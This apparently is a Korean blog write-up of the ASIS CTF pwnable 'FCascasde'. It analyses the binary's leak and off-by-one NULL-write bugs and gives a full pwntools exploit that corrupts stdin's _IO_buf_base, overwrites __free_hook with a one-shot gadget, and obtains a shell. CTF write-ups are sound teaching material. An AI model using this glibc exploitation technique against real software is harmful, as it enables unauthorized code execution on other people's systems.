Content
Log Error ( arbitrary address off by one )
_IO_buf_base Exploit
Analysis
void __fastcall __noreturn interaction(void *buf)
{
while ( 1 )
{
write(1, "> ", 2uLL);
read(0, buf, 0x128uLL);
if ( strncmp(buf, "11010110", 8uLL) || chk )
{
if ( !strncmp(buf, "10110101", 8uLL) )
ccloud();
}
else
{
chk = 1;
leak(buf);
}
}
}
아래와 같이 몇가지 기능을 하는 프로그램이다.
11010110
을 입력하면leak()
실행단,
leak()
쪽 루틴은 단 한번만 사용가능
10110101
을 입력하면ccloud()
실행
leak()
int __fastcall leak(void *buf)
{
int result; // eax
size_t size; // rax
while ( 1 )
{
write(1, "> ", 2uLL);
read(0, buf, 0x128uLL);
result = strncmp(buf, "11111111", 8uLL);
if ( !result )
break;
size = strlen(buf);
write(1, buf, size);
}
return result;
}
11111111
을 입력하기 전까지 최대 0x128
만큼 입력받을 수 있다.
buf
의 크기는 0x90
이므로 return address
까지 덮을 수 있다.
그래서 return address
직전까지 입력하면 strlen
함수에서 size
를 크게 잡아주기 때문에 write
함수를 통하여 __libc_start_main + 240
의 주소를 leak
할 수 있다.
ccloud
void __noreturn ccloud()
{
size_t size; // [rsp+18h] [rbp-18h]
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
for ( buf = 0LL; ; free(buf) )
{
write(1, "> ", 2uLL);
_isoc99_scanf("%lu", &size);
getchar();
buf = malloc(size);
write(1, "> ", 2uLL);
read(0, buf, size);
*(buf + size - 1) = '\0';
}
}
원하는만큼 size
를 입력받고, 그곳에 값을 채워넣을 수 있다.
하지만, 값이 들어가면 바로 free
된다.
그리고 malloc
실패에 대한 예외처리를 해주지 않아 취약점이 발생하게 된다.
*(buf + size - 1) = '\0';
에 의해 원하는 주소에 NULL
을 삽입할 수 있다.
Exploit
from pwn import *
#context.log_level = "debug"
binary = "./FCascasde"
e = ELF(binary)
libc = e.libc
r = process(binary)
go = lambda x : r.sendafter("> ",str(x))
go2 = lambda x : r.sendlineafter("> ",str(x))
go(11010110)
go("A"*(128 + 8 + 1))
go("A"*(128 + 8 + 8 + 8))
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["__libc_start_main"] + 240
log.info("libc_base : " + hex(libc_base))
buf_base = libc_base + libc.symbols["_IO_2_1_stdin_"] + 56
hook = libc_base + libc.symbols["__free_hook"]
log.info("buf_base : " + hex(buf_base))
go(11111111)
go(10110101)
pause()
go2(-(0x10000000000000000 - (buf_base + 1)))
go(p64(hook) * 4 + p64(hook + 0x10) + p64(0))
go("\x00" * 0xa8 + p64(libc_base + 0x4526a))
go(11111111)
r.interactive()
_IO_buf_base
의LSB
를NULL
로 덮음_IO_buf_base
의 주소가_IO_write_base
의 주소가 됨scanf
를 사용하여 값을 입력할 때 값을_IO_buf_base
에 저장함하지만 이 값에
NULL
이 들어가_IO_write_base
의 주소로 바뀌었음.libc
영역(_IO_write_base
)쪽에 값을 쓸 수 있음_IO_buf_base
를__free_hook
으로 덮음scanf
로 값을 입력할 때oneshot gadget
입력Get shell
주의해야할 점은 scanf("%lu",&a);
를 사용하기 때문에, _IO_buf_base
의 마지막 바이트에 NULL
로 덮을 때 integer underflow
를 이용하여 특정 주소를 가르키게 해야한다.
-(0x10000000000000000 - 특정 주소)
이런식이다.
Shell
juntae@ubuntu:~/ctf/asis/FCascasde$ p ex.py
[*] '/home/juntae/ctf/asis/FCascasde/FCascasde'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './FCascasde': pid 3548
[*] libc_base : 0x7ffbc6652000
[*] buf_base : 0x7ffbc6a16918
[*] Paused (press any to continue)
[*] Switching to interactive mode
> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > $
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae),
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[SECCON] video player ( write-up ) (0) | 2019.12.11 |
---|---|
[ASIS CTF] asvdb ( write-up ) (0) | 2019.12.08 |
[ASIS CTF] TinyPwn ( write-up ) (0) | 2019.12.03 |
[ASIS CTF] cat ( write-up ) (0) | 2019.12.03 |
[Rctf] babyheap ( write-up ) (0) | 2019.11.04 |